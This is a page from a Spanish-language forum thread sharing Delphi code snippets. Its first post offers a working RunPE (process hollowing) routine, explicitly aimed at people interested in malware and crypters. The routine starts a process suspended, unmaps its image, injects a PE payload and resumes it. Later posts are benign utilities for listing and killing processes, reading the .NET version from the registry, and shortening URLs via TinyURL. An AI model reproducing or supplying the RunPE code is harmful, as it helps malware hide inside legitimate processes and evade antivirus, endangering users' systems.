Librería de Snippets para Delphi

Páginas: << < (2/4) > >>

crack81:

Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código
--
unit Unit1;
--
 
--
interface
--
uses windows;
--
 
--
procedure run(szFilePath:LPSTR;pFile:PVOID);
--
 
--
implementation
--
 
--
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
--
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
--
 
--
procedure run(szFilePath:LPSTR;pFile:PVOID);
--
var
--
IDH:PImageDosHeader;
--
INH:PImageNtHeaders;
--
ISH:PImageSectionHeader;
--
PI:PROCESS_INFORMATION;
--
SI:STARTUPINFOA;
--
CTX:PContext;
--
dwImageBase:PDWORD;
--
pImageBase:LPVOID;
--
count:Integer;
--
BitesRead:SIZE_T;
--
ByteWritten:SIZE_T;
--
ByteWritten2:SIZE_T;
--
ByteWritten3:SIZE_T;
--
begin
--
 IDH:=PImageDosHeader(pFile);
--
 if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
--
 begin
--
   INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
--
   if INH.Signature=IMAGE_NT_SIGNATURE then
--
   begin
--
     RtlZeroMemory(@SI,sizeof(SI));
--
     RtlZeroMemory(@PI, sizeof(PI));
--
 
--
     if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
--
     begin
--
        CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
--
        CTX.ContextFlags:=CONTEXT_FULL;
--
 
--
        if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
--
        begin
--
          ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
--
 
--
          if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
--
          begin
--
            NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
--
          end;
--
 
--
           pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
--
           if pImageBase<>nil then
--
           begin
--
             WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
--
             for count := 0 to INH.FileHeader.NumberOfSections-1 do
--
             BEGIN
--
                 ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
--
                 WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
--
             END;
--
 
--
              WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
--
              CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
--
              SetThreadContext(PI.hThread, _CONTEXT(CTX^));
--
              ResumeThread(PI.hThread);
--
           end;
--
 
--
        end;
--
 
--
     end;
--
 
--
   end;
--
 
--
 end;
--
  VirtualFree(ctx, 0, MEM_RELEASE)
--
 
--
end;
--
 
--
end.
--


Eleкtro:

¿Nadie va a decir nada o que?  :¬¬

pues lo digo yo: GRACIAS POR COMPARTIR DESINTERESADAMENTE, muy buen aporte.

PD: El embarcadero lo tengo muerto de risa, quizás algún día lo reviva aunque sea para probar alguno de estos códigos por pura curiosidad.

Saludos!

crack81:

Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código
--
uses
--
 SysUtils,windows,TlHelp32;
--
 
--
{obtener el nombre de los procesos activos}
--
procedure obtenerProcesos;
--
var
--
continuar:BOOL;
--
snapshotHandle:THandle;
--
processEntry32:TProcessEntry32;
--
begin
--
   { Creas un Handle para leer procesos }
--
  snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
--
  try
--
   { Creás un buffer de procesos }
--
   processEntry32.dwSize:=sizeof(processEntry32);
--
   { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
--
   continuar:=Process32First(snapshotHandle,processEntry32);
--
 
--
   while continuar do
--
   begin
--
      {muestra los procesos por consola}
--
      writeln(processEntry32.szExeFile);
--
      {busca el siguiente proceso si retorna false sale del bucle}
--
      continuar:=Process32Next(snapshotHandle,processEntry32);
--
   end;
--
  finally
--
    {cerramos el handle llamado snapshotHandle}
--
    CloseHandle(snapshotHandle);
--
  end;
--
end;
--
 
--
 
--
{compruba si un proceso esta activo a traves de su nombre}
--
function ProcessExists(AExeName: String): boolean;
--
var
--
 ContinueLoop: LongBool;
--
 FSnapshotHandle: THandle;
--
 FProcess: TProcessEntry32;
--
 FExeFound: TFileName;
--
begin
--
 { Limpias el hacés un genérico para el FileName }
--
 AExeName := UpperCase(AExeName);
--
 Result := False;
--
 { Creas un Handle para leer procesos }
--
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
--
 { Creás un buffer de procesos }
--
 FProcess.dwSize := SizeOf(FProcess);
--
 { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
--
 ContinueLoop := Process32First(FSnapshotHandle, FProcess);
--
 while (ContinueLoop) and NOT(Result) do
--
 begin
--
   { Almacenás el nombre "genéroco" del proceso encontrado }
--
   FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
--
   Result := (FExeFound = AExeName);
--
   ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
--
 end;
--
 { Cerrás el Handle }
--
 CloseHandle(FSnapshotHandle);
--
end;
--
 
--
 
--
{mata algun proceso activo}
--
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
--
const
--
 TERMINATE = $0001;
--
var
--
 ContinueLoop: BOOL;
--
 FSnapshotHandle: THandle;
--
 FProcess: TProcessEntry32;
--
 FExeFound: TFileName;
--
Label NO_ITERATIVE;
--
begin
--
 Result := False;
--
 { Limpias el hacés un genérico para el FileName }
--
 AExeName := UpperCase((AExeName));
--
 { Creas un Handle para leer procesos }
--
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
--
 { Creás un buffer de procesos }
--
 FProcess.dwSize := SizeOf(FProcess);
--
 { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
--
 ContinueLoop := Process32First(FSnapshotHandle, FProcess);
--
 while (ContinueLoop) do
--
 begin
--
   { Almacenás el nombre "genéroco" del proceso encontrado }
--
   FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
--
   if (FExeFound = AExeName) then
--
   begin
--
     Result := True;
--
     { Para matarlo lo debés abrir con el flag de TERMINATE }
--
     TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
--
     if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
--
       GoTo NO_ITERATIVE;
--
   end;
--
   ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
--
 end;
--
NO_ITERATIVE :
--
 CloseHandle(FSnapshotHandle);
--
end;
--
 
--
 
--
begin
--
 
--
 obtenerProcesos;//muestra el nombre de los procesos activos
--
 writeln;
--
 writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
--
 Writeln('Proceso matado ',ProcessKill('calc.exe'));
--
 readln;
--
end.
--
 
--


crack81:

Funcion para obtener la ultima version del framework .NET

Código
--
uses
--
 
--
 Classes,SysUtils,Registry
--
 { you can add units after this };
--
 
--
function getNetVersion:string;
--
var
--
 values:TStringList;
--
begin
--
 with TRegistry.Create do
--
 try
--
   RootKey:=HKEY_LOCAL_MACHINE;
--
   if OpenKey('\SOFTWARE\Microsoft\NET Framework Setup\NDP',false) then
--
   begin
--
     values:=TStringList.Create;
--
     try
--
       GetKeyNames(values);
--
       if values.Count>0 then result:=values[values.Count-1]
--
       else result:='Unknown';
--
     finally
--
       values.Free;
--
     end;
--
     CloseKey();
--
   end
--
 finally
--
   free;
--
 end;
--
end;
--
 
--
var
--
 cadena:String;
--
begin
--
  cadena:=getNetVersion;
--
  writeln(cadena);
--
  readln;
--
end.
--


BDWONG:

Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla

Código
--
uses
--
 SysUtils,idhttp;
--
 
--
function getShortUrl(const url: string): string;
--
var
--
http:TIdHTTP;
--
begin
--
 http:=TIdHTTP.Create(nil); //creamos el objeto
--
 try
--
  Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
--
 finally
--
  http.Free;//liberamos el objeto
--
 end;
--
end;
--
 
--
 
--
//ejemplo de uso
--
var //declaramos variables
--
url:string;
--
urlCorta:string;
--
begin
--
 url:='https://www.google.com.mx'; //url original
--
 urlCorta:=getShortUrl(url); //obtenemos la url corta
--
 writeln('La url es: ',urlCorta);//la mostramos por pantalla
--
 Readln;
--
end.
--


Páginas: << < (2/4) > >>